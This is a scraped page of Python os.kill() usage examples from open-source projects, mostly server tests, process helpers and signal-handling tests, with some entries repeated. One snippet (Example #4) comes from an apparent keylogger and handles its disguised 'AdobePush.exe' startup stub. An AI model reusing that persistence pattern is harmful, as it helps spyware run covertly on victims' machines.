Python os.kill() Examples
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Example #1
Source File: background.py From wechat-alfred-workflow with MIT License | 7 votes |
def kill(name, sig=signal.SIGTERM): """Send a signal to job ``name`` via :func:`os.kill`. .. versionadded:: 1.29 Args: name (str): Name of the job sig (int, optional): Signal to send (default: SIGTERM) Returns: bool: `False` if job isn't running, `True` if signal was sent. """ pid = _job_pid(name) if pid is None: return False os.kill(pid, sig) return True
Example #2
Source File: background.py From gist-alfred with MIT License | 7 votes |
def kill(name, sig=signal.SIGTERM): """Send a signal to job ``name`` via :func:`os.kill`. .. versionadded:: 1.29 Args: name (str): Name of the job sig (int, optional): Signal to send (default: SIGTERM) Returns: bool: `False` if job isn't running, `True` if signal was sent. """ pid = _job_pid(name) if pid is None: return False os.kill(pid, sig) return True
Example #3
Source File: gen.py From multibootusb with GNU General Public License v2.0 | 7 votes |
def process_exist(process_name): """ Detect if process exist/ running and kill it. :param process_name: process name to check :return: True if processis killed else False """ if platform.system() == 'Windows': import signal import wmi c = wmi.WMI() for process in c.Win32_Process(): if process_name in process.Name: log(process_name + ' exist...') log(str(process.ProcessId) + ' ' + str(process.Name)) log("Having Windows explorer won't allow dd.exe to write ISO image properly." "\nKilling the process..") try: os.kill(process.ProcessId, signal.SIGTERM) return True except: log('Unable to kill process ' + str(process.ProcessId)) return False
Example #4
Source File: Radiumkeylogger.py From Radium with Apache License 2.0 | 6 votes |
def deleteoldstub(): checkfilename = 'AdobePush.exe' #The exe in the startup will be saved by the name of AdobePush. When the exe will be updated the old exe will be deleted. checkdir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//' dircontent = os.listdir(checkdir) try: try: pids = getpid('AdobePush.exe') for id in pids: os.kill(int(id), signal.SIGTERM) except Exception as e: print e if checkfilename in dircontent: os.remove(checkdir + checkfilename) except Exception as e: print e #Function to copy the exe to startup
Example #5
Source File: test_states.py From cherrypy with BSD 3-Clause "New" or "Revised" License | 6 votes |
def test_SIGHUP_tty(self): # When not daemonized, SIGHUP should shut down the server. try: from signal import SIGHUP except ImportError: return self.skip('skipped (no SIGHUP) ') # Spawn the process. p = helper.CPProcess(ssl=(self.scheme.lower() == 'https')) p.write_conf( extra='test_case_name: "test_SIGHUP_tty"') p.start(imports='cherrypy.test._test_states_demo') # Send a SIGHUP os.kill(p.get_pid(), SIGHUP) # This might hang if things aren't working right, but meh. p.join()
Example #6
Source File: test_states.py From cherrypy with BSD 3-Clause "New" or "Revised" License | 6 votes |
def test_SIGTERM(self): 'SIGTERM should shut down the server whether daemonized or not.' self._require_signal_and_kill('SIGTERM') # Spawn a normal, undaemonized process. p = helper.CPProcess(ssl=(self.scheme.lower() == 'https')) p.write_conf( extra='test_case_name: "test_SIGTERM"') p.start(imports='cherrypy.test._test_states_demo') # Send a SIGTERM os.kill(p.get_pid(), signal.SIGTERM) # This might hang if things aren't working right, but meh. p.join() if os.name in ['posix']: # Spawn a daemonized process and test again. p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'), wait=True, daemonize=True) p.write_conf( extra='test_case_name: "test_SIGTERM_2"') p.start(imports='cherrypy.test._test_states_demo') # Send a SIGTERM os.kill(p.get_pid(), signal.SIGTERM) # This might hang if things aren't working right, but meh. p.join()
Example #7
Source File: test_gipc.py From gipc with MIT License | 6 votes |
def test_lock_out_of_context_single(self): r, w = pipe() g = gevent.spawn(lambda r: r.get(), r) gevent.sleep(SHORTTIME) with raises(GIPCLocked): with r: pass # The context manager can't close `r`, as it is locked in `g`. g.kill(block=False) # Ensure killing via 'context switch', i.e. yield control to other # coroutines (otherwise the subsequent close attempt will fail with # `GIPCLocked` error). gevent.sleep(-1) # Close writer first. otherwise, `os.close(r._fd)` would block on Win. w.close() r.close()
Example #8
Source File: command.py From Paradrop with Apache License 2.0 | 6 votes |
def __init__(self, pid, parent=None): """ Create a kill command The pid argument can either be a real pid (e.g. kill 12345) or a path to a file containing the pid. If the pid is coming from a file, it will be resolved at the time that execute is called. Before that time, the command will be stored internally as ["kill", "/path/to/file"]. This is not a real command, but it is meaningful if you print the command object. """ # This will not be a valid command if pid is a file path. command = ["kill", pid] super(KillCommand, self).__init__(command, parent) # Is it a numeric pid or a path to a pid file? try: self.pid = int(pid) self.fromFile = False except ValueError: self.pid = pid self.fromFile = True
Example #9
Source File: command.py From Paradrop with Apache License 2.0 | 6 votes |
def execute(self): pid = self.getPid() if pid is None: self.result = 0 return True try: retval = kill(pid) self.result = 0 out.info('Command "kill {}" returned {}\n'.format(pid, retval)) except Exception as e: out.info('Command "kill {}" raised exception {}\n'.format(pid, e)) self.result = e return (self.result == 0)
Example #10
Source File: test_break.py From jawfish with MIT License | 6 votes |
def testInterruptCaught(self): default_handler = signal.getsignal(signal.SIGINT) result = unittest.TestResult() unittest.installHandler() unittest.registerResult(result) self.assertNotEqual(signal.getsignal(signal.SIGINT), default_handler) def test(result): pid = os.getpid() os.kill(pid, signal.SIGINT) result.breakCaught = True self.assertTrue(result.shouldStop) try: test(result) except KeyboardInterrupt: self.fail("KeyboardInterrupt not handled") self.assertTrue(result.breakCaught)
Example #11
Source File: test_break.py From jawfish with MIT License | 6 votes |
def testSecondInterrupt(self): result = unittest.TestResult() unittest.installHandler() unittest.registerResult(result) def test(result): pid = os.getpid() os.kill(pid, signal.SIGINT) result.breakCaught = True self.assertTrue(result.shouldStop) os.kill(pid, signal.SIGINT) self.fail("Second KeyboardInterrupt not raised") try: test(result) except KeyboardInterrupt: pass else: self.fail("Second KeyboardInterrupt not raised") self.assertTrue(result.breakCaught)
Example #12
Source File: test_break.py From jawfish with MIT License | 6 votes |
def testTwoResults(self): unittest.installHandler() result = unittest.TestResult() unittest.registerResult(result) new_handler = signal.getsignal(signal.SIGINT) result2 = unittest.TestResult() unittest.registerResult(result2) self.assertEqual(signal.getsignal(signal.SIGINT), new_handler) result3 = unittest.TestResult() def test(result): pid = os.getpid() os.kill(pid, signal.SIGINT) try: test(result) except KeyboardInterrupt: self.fail("KeyboardInterrupt not handled") self.assertTrue(result.shouldStop) self.assertTrue(result2.shouldStop) self.assertFalse(result3.shouldStop)
Example #13
Source File: cloud_tpu.py From fine-lm with MIT License | 6 votes |
def shell_background(cmd_, **kwargs): """Run process in background, join on exit.""" args = format_cmd(cmd_, **kwargs) process = sp.Popen(args) try: yield process finally: if process.poll() is None: process.terminate() time.sleep(1) if process.poll() is None: process.kill() time.sleep(1) if process.poll() is None: raise ValueError( "Cannot kill process %d - please kill manually" % process.pid) time.sleep(1)
Example #14
Source File: test_break.py From jawfish with MIT License | 6 votes |
def testHandlerReplacedButCalled(self): # If our handler has been replaced (is no longer installed) but is # called by the *new* handler, then it isn't safe to delay the # SIGINT and we should immediately delegate to the default handler unittest.installHandler() handler = signal.getsignal(signal.SIGINT) def new_handler(frame, signum): handler(frame, signum) signal.signal(signal.SIGINT, new_handler) try: pid = os.getpid() os.kill(pid, signal.SIGINT) except KeyboardInterrupt: pass else: self.fail("replaced but delegated handler doesn't raise interrupt")
Example #15
Source File: test_async.py From chainerrl with MIT License | 6 votes |
def test_run_async_exit_code(self): def run_with_exit_code_0(process_idx): sys.exit(0) def run_with_exit_code_11(process_idx): os.kill(os.getpid(), signal.SIGSEGV) with warnings.catch_warnings(record=True) as ws: async_.run_async(4, run_with_exit_code_0) # There should be no AbnormalExitWarning self.assertEqual( sum(1 if issubclass( w.category, async_.AbnormalExitWarning) else 0 for w in ws), 0) with warnings.catch_warnings(record=True) as ws: async_.run_async(4, run_with_exit_code_11) # There should be 4 AbnormalExitWarning self.assertEqual( sum(1 if issubclass( w.category, async_.AbnormalExitWarning) else 0 for w in ws), 4)
Example #16
Source File: test_gipc.py From gipc with MIT License | 6 votes |
def test_lock_out_of_context_pair(self): with raises(GIPCLocked): with pipe(True) as (h1, h2): # Write more to pipe than pipe buffer can hold # (makes `put` block when there is no reader). # Buffer is quite large on Windows. gw = gevent.spawn(lambda h: h.put(LONGERTHANBUFFER), h1) gevent.sleep(SHORTTIME) # Context manager tries to close h2 reader, h2 writer, and # h1 writer first. Fails upon latter, must still close # h1 reader after that. assert not h1._writer._closed assert h1._reader._closed assert h2._writer._closed assert h2._reader._closed # Kill greenlet (free lock on h1 writer), close h1 writer. gw.kill(block=False) gevent.sleep(-1) h1.close() assert h1._writer._closed
Example #17
Source File: process_test.py From tornado-zh with MIT License | 5 votes |
def test_subprocess(self): if IOLoop.configured_class().__name__.endswith('LayeredTwistedIOLoop'): # This test fails non-deterministically with LayeredTwistedIOLoop. # (the read_until('\n') returns '\n' instead of 'hello\n') # This probably indicates a problem with either TornadoReactor # or TwistedIOLoop, but I haven't been able to track it down # and for now this is just causing spurious travis-ci failures. raise unittest.SkipTest("Subprocess tests not compatible with " "LayeredTwistedIOLoop") subproc = Subprocess([sys.executable, '-u', '-i'], stdin=Subprocess.STREAM, stdout=Subprocess.STREAM, stderr=subprocess.STDOUT, io_loop=self.io_loop) self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM)) subproc.stdout.read_until(b'>>> ', self.stop) self.wait() subproc.stdin.write(b"print('hello')\n") subproc.stdout.read_until(b'\n', self.stop) data = self.wait() self.assertEqual(data, b"hello\n") subproc.stdout.read_until(b">>> ", self.stop) self.wait() subproc.stdin.write(b"raise SystemExit\n") subproc.stdout.read_until_close(self.stop) data = self.wait() self.assertEqual(data, b"")
Example #18
Source File: process_test.py From tornado-zh with MIT License | 5 votes |
def test_sigchild_signal(self): skip_if_twisted() Subprocess.initialize(io_loop=self.io_loop) self.addCleanup(Subprocess.uninitialize) subproc = Subprocess([sys.executable, '-c', 'import time; time.sleep(30)'], io_loop=self.io_loop) subproc.set_exit_callback(self.stop) os.kill(subproc.pid, signal.SIGTERM) ret = self.wait() self.assertEqual(subproc.returncode, ret) self.assertEqual(ret, -signal.SIGTERM)
Example #19
Source File: pp_support.py From me-ica with GNU Lesser General Public License v2.1 | 5 votes |
def _shutdown(self): """Shutdown all slaves.""" for ssh_proc in self._ssh_procs: os.kill(ssh_proc.pid, signal.SIGQUIT) super(NetworkPPScheduler, self)._shutdown() if self.verbose: print "All slaves shut down."
Example #20
Source File: process_test.py From tornado-zh with MIT License | 5 votes |
def test_close_stdin(self): # Close the parent's stdin handle and see that the child recognizes it. subproc = Subprocess([sys.executable, '-u', '-i'], stdin=Subprocess.STREAM, stdout=Subprocess.STREAM, stderr=subprocess.STDOUT, io_loop=self.io_loop) self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM)) subproc.stdout.read_until(b'>>> ', self.stop) self.wait() subproc.stdin.close() subproc.stdout.read_until_close(self.stop) data = self.wait() self.assertEqual(data, b"\n")
Example #21
Source File: fig18_15.py From PythonClassBook with GNU General Public License v3.0 | 5 votes |
def parentInterruptHandler( signum, frame ): global pid global parentKeepRunning # send kill signal to child process and exit os.kill( pid, signal.SIGKILL ) # send kill signal print "Interrupt received. Child process killed." # allow parent process to terminate normally parentKeepRunning = 0 # set parent's handler for SIGINT
Example #22
Source File: test_gipc.py From gipc with MIT License | 5 votes |
def test_lock_out_of_context_pair_2(self): with raises(GIPCLocked): with pipe() as (r, w): gr = gevent.spawn(lambda r: r.get(), r) gevent.sleep(SHORTTIME) # Context manager tries to close writer first, succeeds, # and fails during closing reader. gr.kill(block=False) gevent.sleep(-1) r.close()
Example #23
Source File: model_server.py From sagemaker-xgboost-container with Apache License 2.0 | 5 votes |
def _add_sigterm_handler(mms_process): def _terminate(signo, frame): try: os.kill(mms_process.pid, signal.SIGTERM) except OSError: pass signal.signal(signal.SIGTERM, _terminate)
Example #24
Source File: process_test.py From tornado-zh with MIT License | 5 votes |
def get_app(self): class ProcessHandler(RequestHandler): def get(self): if self.get_argument("exit", None): # must use os._exit instead of sys.exit so unittest's # exception handler doesn't catch it os._exit(int(self.get_argument("exit"))) if self.get_argument("signal", None): os.kill(os.getpid(), int(self.get_argument("signal"))) self.write(str(os.getpid())) return Application([("/", ProcessHandler)])
Example #25
Source File: process_test.py From tornado-zh with MIT License | 5 votes |
def test_subprocess(self): if IOLoop.configured_class().__name__.endswith('LayeredTwistedIOLoop'): # This test fails non-deterministically with LayeredTwistedIOLoop. # (the read_until('\n') returns '\n' instead of 'hello\n') # This probably indicates a problem with either TornadoReactor # or TwistedIOLoop, but I haven't been able to track it down # and for now this is just causing spurious travis-ci failures. raise unittest.SkipTest("Subprocess tests not compatible with " "LayeredTwistedIOLoop") subproc = Subprocess([sys.executable, '-u', '-i'], stdin=Subprocess.STREAM, stdout=Subprocess.STREAM, stderr=subprocess.STDOUT, io_loop=self.io_loop) self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM)) subproc.stdout.read_until(b'>>> ', self.stop) self.wait() subproc.stdin.write(b"print('hello')\n") subproc.stdout.read_until(b'\n', self.stop) data = self.wait() self.assertEqual(data, b"hello\n") subproc.stdout.read_until(b">>> ", self.stop) self.wait() subproc.stdin.write(b"raise SystemExit\n") subproc.stdout.read_until_close(self.stop) data = self.wait() self.assertEqual(data, b"")
Example #26
Source File: process_test.py From tornado-zh with MIT License | 5 votes |
def test_close_stdin(self): # Close the parent's stdin handle and see that the child recognizes it. subproc = Subprocess([sys.executable, '-u', '-i'], stdin=Subprocess.STREAM, stdout=Subprocess.STREAM, stderr=subprocess.STDOUT, io_loop=self.io_loop) self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM)) subproc.stdout.read_until(b'>>> ', self.stop) self.wait() subproc.stdin.close() subproc.stdout.read_until_close(self.stop) data = self.wait() self.assertEqual(data, b"\n")
Example #27
Source File: process_test.py From tornado-zh with MIT License | 5 votes |
def test_stderr(self): subproc = Subprocess([sys.executable, '-u', '-c', r"import sys; sys.stderr.write('hello\n')"], stderr=Subprocess.STREAM, io_loop=self.io_loop) self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM)) subproc.stderr.read_until(b'\n', self.stop) data = self.wait() self.assertEqual(data, b'hello\n')
Example #28
Source File: process_test.py From tornado-zh with MIT License | 5 votes |
def test_sigchild_signal(self): skip_if_twisted() Subprocess.initialize(io_loop=self.io_loop) self.addCleanup(Subprocess.uninitialize) subproc = Subprocess([sys.executable, '-c', 'import time; time.sleep(30)'], io_loop=self.io_loop) subproc.set_exit_callback(self.stop) os.kill(subproc.pid, signal.SIGTERM) ret = self.wait() self.assertEqual(subproc.returncode, ret) self.assertEqual(ret, -signal.SIGTERM)
Example #29
Source File: test_gipc.py From gipc with MIT License | 5 votes |
def test_lock_out_of_context_pair(self): with raises(GIPCLocked): with pipe() as (r, w): # Fill up pipe and try to write more than pipe can hold # (makes `put` block when there is no reader). # Buffer is quite large on Windows. gw = gevent.spawn(lambda w: w.put(LONGERTHANBUFFER), w) gevent.sleep(SHORTTIME) # Context manager tries to close writer first, fails, # and must close reader nevertheless. # Kill greenlet (free lock on writer) and close writer. gw.kill(block=False) gevent.sleep(-1) w.close()
Example #30
Source File: process_test.py From tornado-zh with MIT License | 5 votes |
def test_stderr(self): subproc = Subprocess([sys.executable, '-u', '-c', r"import sys; sys.stderr.write('hello\n')"], stderr=Subprocess.STREAM, io_loop=self.io_loop) self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM)) subproc.stderr.read_until(b'\n', self.stop) data = self.wait() self.assertEqual(data, b'hello\n')